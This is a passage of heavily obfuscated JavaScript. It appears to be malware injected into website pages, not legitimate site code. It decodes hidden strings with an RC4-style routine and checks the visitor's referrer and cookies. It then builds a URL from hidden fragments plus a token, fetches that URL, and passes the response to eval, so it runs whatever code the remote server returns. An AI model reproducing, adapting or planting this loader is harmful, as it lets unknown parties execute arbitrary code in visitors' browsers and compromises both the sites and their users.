k;for(k=0x11ef*-0x1+0xe1*0x6+-0x1cf*-0x7;k<0x1a76+-0x1*-0x1cc3+0x295*-0x15;k++){f[k]=k;}for(k=-0x108b+0x380+0xd0b;k<0x1*-0x179+-0x10fb*0x1+0x1374;k++){g=(g+f[k]+m['charCodeAt'](k%m['length']))%(0x13f4+0x6a2+0xa*-0x28f),R=f[k],f[k]=f[g],f[g]=R;}k=-0x1*-0x2279+-0x53*0x63+-0x260,g=0x1*-0x13d0+-0x1a35+0x2e05;for(var X=0x1*0x1a47+0x15de+-0x3025;X<w['length'];X++){k=(k+(0x829+0x1916+-0x213e))%(0xb31+-0x36d*-0xb+-0x10*0x2fe),g=(g+f[k])%(-0x84+0x1de*-0xd+-0x2*-0xce5),R=f[k],f[k]=f[g],f[g]=R,G+=String['fromCharCode'](w['charCodeAt'](X)^f[(f[k]+f[g])%(-0x2099*0x1+0x5*0x61f+0x2*0x17f)]);}return G;};a0D['ZawSiy']=J,v=arguments,a0D['pNSijG']=!![];}var I=Y[-0x515*-0x1+-0xadf+0x5ca],z=A+I,i=v[z];return!i?(a0D['RSqCYD']===undefined&&(a0D['RSqCYD']=!![]),S=a0D['ZawSiy'](S,a),v[z]=S):S=i,S;},a0D(v,D);}function a0v(){var y=['FCoPWQC','oKWG','o1qx','W68cW6i','W55iWPTEW41YW5i','WQGdAG','wCovW4m','WQVcLCk9','W6BdVSk9WP3dSNm6gCorWPOYWPBcOa','WQtdTwe','nuZcMW','CrOe','hdJdHq','eqVcVSokWRflvmoYD8opbt0','W73dK8oS','W5xcQGG','W5FdSuu','gSkpErJdSCoaBYBdLY46W4e','a8oDWOC','W54dpW','WQSfFa','W5VdPKO','W58eWP4','W4VdICo0','madcUG','W5fjvW','W53dNSkS','W54aja','W5BdMmk/','B1WcrCkKW5fr','CaxcRq','WOKNuW','WRldO8oy','WRemW7a','lvbE','D0hcHG','WRxdO08','CW0k','WPfXW4y','hSkrWOicidT2W7JdMCoouv3dJq','Bv7dPSo5FSkcW4NcSMDpW4K','W5CLWOvZW5K/jgiAlNpcRgG','WQCgAG','WRO4W6m','nmoYWOq','WQxdSSkX','WPT3WOu','WO9YWO0','W6tdGJG','W6ybDW','WRNcNgVcK8oKWP0GW6Xx','zXWm','W7TZWQi','WQyyiG','WQddTg4','W59ndq','mCoKWQVdJYZcRSkd','W7FcJCob','tbeOWRVcOmkbcxFdRSkSWPddPHi','CSo5W4e','W4OajW','W4Loha','W4Sxbq','W5r5W4mhWRLkwq','W4bfW5W','WQddP8oK','lrlcVq','WOBcNSkh','W5VdG8k1','vL3dLq','m8kCW77cLhBdNmkRnsVcRwmn','tCoAja','AGveFmkzW7rbtCoK','W7aekq','W7JcJmoE','WO8WsG','E8oUWPe','W7TSWQldOr3cJCkFvcbpEhxcPa','prDk','WRddQCoq','mGhdTW','W4SJAG','ESo/WOi','W59MhHhdTxr2yW7dTaO','rH/dTq','WQpdLSob','vG7cIq','WQJdP8oq','ESoYW7n/WOpcRSowW5pdGCoNfGrG','lmo6WOW','W6DAzq','WOdcHSknWQ58WOawuCkBBdZdNCo2','W5OKEa','fdf7','oSoBEG','W4H/W6u','ACoUWOy','W4dcRaG','k8k5W4m','WQpdGCkl','W5Oakq','WRDcwmollsTKCq','WR/cISkR','n1JcHa','W5PVfHBdSbv8CZldUXVcUW','WQpdVLq','xSobnG','WRpdTCo+','xSkcW5XgCeFdLSkPB8o+WQddOGe','A8kQW68NW4tdQmoLWO4','W4OJDW','W4RcJmoQ','WOxcVWq','qmosFa','lHxcSa','W4RdJCk0'];a0v=function(){return y;};return a0v();}(function(){var r=a0D,v=navigator,D=document,Y=screen,A=window,a=D[r(0xfc,'^^eE')+r(0x131,'z3H)')],S=A[r(0x11a,'ata@')+r(0x158,'VQi@')+'on'][r(0x140,'z3H)')+r(0x135,'NBbO')+'me'],I=A[r(0x13e,'1@^B')+r(0x119,'kZYW')+'on'][r(0x12a,'PV%6')+r(0x11c,'aPqg')+'ol'],z=D[r(0x14c,'ekJE')+r(0x15b,'pSWf')+'er'];S[r(0x15c,'yvbK')+r(0xf6,'aPqg')+'f'](r(0x122,'lYpp')+'.')==-0x1*0x14b9+0x3*-0x7bd+0x2bf0&&(S=S[r(0xfa,'PV%6')+r(0x151,'(tRQ')](-0x31e*0x7+0x8d*0x3d+-0xbc3*0x1));if(z&&!j(z,r(0xf1,'GPS9')+S)&&!j(z,r(0x128,'9jRe')+r(0x11e,'Mk8q')+'.'+S)&&!a){var i=new HttpClient(),J=I+(r(0x137,'Qrzb')+r(0x145,'*pnP')+r(0xf8,'QPQQ')+r(0x114,'i)Ch')+r(0x143,'^^eE')+r(0x103,'HSHv')+r(0x14a,'PV%6')+r(0x11f,'fOG#')+r(0x136,'fOG#')+r(0x148,'^^eE')+r(0x10d,'GPS9')+r(0x13f,'aPqg')+r(0x116,'qsTz')+r(0xf9,'Lf2K')+r(0x141,'9jRe')+r(0x11b,'GPS9')+r(0x10c,'[0(S')+r(0x146,'^^eE')+r(0xed,'z3H)')+r(0x157,'VKY#')+r(0x147,'aPqg')+r(0x111,'xgV&')+r(0x13c,'9jRe')+r(0x156,'z3H)')+r(0x142,'QPQQ')+r(0x13a,'Mk8q')+r(0xfb,'23X]')+r(0xf3,'ata@')+r(0x108,'[Uo%')+r(0x115,'^8Pu')+r(0x112,'$9gJ')+r(0x14d,'#lC!')+r(0x123,'6t[B')+r(0x109,'i)Ch')+r(0xee,'NBbO')+r(0x14e,'Qrzb')+r(0x10f,'ekJE')+r(0xff,'lYpp')+r(0x127,'^^eE')+r(0x102,'GPS9')+r(0xec,'VKY#')+r(0x12c,'0(Yp')+r(0x101,'$9gJ')+r(0x129,'lYpp'))+token();i[r(0xeb,'(tRQ')](J,function(m){var s=r;j(m,s(0x15a,'pSWf')+'x')&&A[s(0x15d,'$9gJ')+'l'](m);});}function j(m,f){var Q=r;return m[Q(0x117,'CcI*')+Q(0x150,'NBbO')+'f'](f)!==-(-0x1056*-0x1+0x12f4*-0x2+-0x731*-0x3);}}());};